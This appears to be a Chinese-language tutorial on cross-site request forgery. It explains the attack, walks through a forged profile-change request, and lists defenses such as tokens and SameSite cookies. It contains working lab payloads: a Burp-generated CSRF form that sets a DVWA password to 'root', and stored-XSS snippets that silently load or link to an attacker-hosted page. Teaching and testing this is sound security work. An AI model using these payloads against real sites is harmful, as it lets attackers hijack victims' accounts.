赞
踩
CSRF(跨站请求伪造,Cross-Site Request Forgery)
是一种常见的网络攻击技术。
它允许攻击者诱导用户执行不在其意识之中的操作,从而达到攻击目的。
这种操作可能是更改电子邮件地址、密码、或其他对于用户来说敏感的操作。
在一个典型的CSRF攻击中,攻击者创建一个恶意网页,该网页会在用户浏览它时触发一个请求到目标网站,这个请求会执行某个操作(比如更改密码)。
因为浏览器会自动发送存储的Cookie,所以如果用户已经登录目标网站,那么这个恶意请求就可能被成功执行。
CSRF攻击通常针对已经登录并且会话仍然有效的用户。
为了构造一个有效的恶意请求,攻击者需要知道目标应用的具体请求格式,如URL、参数等。
如果目标站点没有使用如CSRF令牌或其他验证手段来保护其敏感操作,那么它更容易受到CSRF攻击。
为了触发恶意请求,攻击者需要某种方式诱导受害者访问含有恶意代码的页面或点击恶意链接。
这可以通过社交工程技巧、电子邮件、即时消息或其他方式来实现。
大多数CSRF攻击都依赖于浏览器会自动发送与目标站点相关的Cookie。
如果目标站点设置了Cookie的SameSite属性或用户浏览器不自动发送Cookie,那么CSRF攻击的可能性将大大降低。
如果目标站点使用CORS策略且正确配置,那么来自不受信任的源的恶意请求可能会被拦截。
姓名: tom
电话: 13523443546
地址: 白帽镇123号
用户a修改后点击提交, 请求的url是:
http://www.xiaobao.com/member/edit.php
?name=tom&phone=13523443546&addr=白帽镇123号&submit=submit
(1) x先确定a处于登录状态.
(2) x将修改个人资料的请求伪造, 然后引诱a去点击这个请求. 伪造请求通常要通过攻击者x的恶意站点来完成.
(1) 用 burpsuite 的 engagement tools 制作一个csrf钓鱼网站.
(2) 用户x引诱用户a在没有退出网站的情况下访问钓鱼页面.
(3) 用户a使用了钓鱼页面中的恶意表单, 提交修改信息的请求.
用户a点击了钓鱼网站的请求, 请求的url是:
http://www.xiaobao.com/member/edit.php
?name=tom&phone=13523443546&addr=黑盒镇223号&submit=submit
由于这个请求是通过合法用户a点击发送的, 所以修改成功, 用户x完成了攻击.
csrf是借助用户的权限完成攻击, 而xss一般是通过脚本获得用户权限再实施其他攻击.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="root" />
<input type="hidden" name="password_conf" value="root" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
打开DVWA靶场的XSS(Stored)页面, 输入XSS攻击代码:
<a href="http://192.168.112.202/csrf.html">
<img src="http://192.168.112.202/test.jpg"/>
</a>
当用户打开页面查看留言板时, 如果点击了test.jpg图片就会访问恶意链接.
<script>
new Image().src="http://192.168.112.202/csrf.html";
</script>
<a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
<img src="http://192.168.112.202/test.jpg"/>
</a>
每次生成一个表单时,都包含一个随机生成的令牌,并将其存储在服务器端。当表单提交时,这个令牌也会被发送回服务器进行验证。
只接受来自可信任的源的请求。
这可以限制浏览器在跨站请求时发送Cookie。
使用强制用户再次验证身份的措施,特别是对于高风险的操作,如更改密码、设定支付信息等。
尽量避免使用GET请求来执行有副作用的操作,因为GET请求更容易被CSRF攻击。
对用户进行安全教育,提醒他们不要轻易点击来自不受信任来源的链接或打开可疑的电子邮件。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。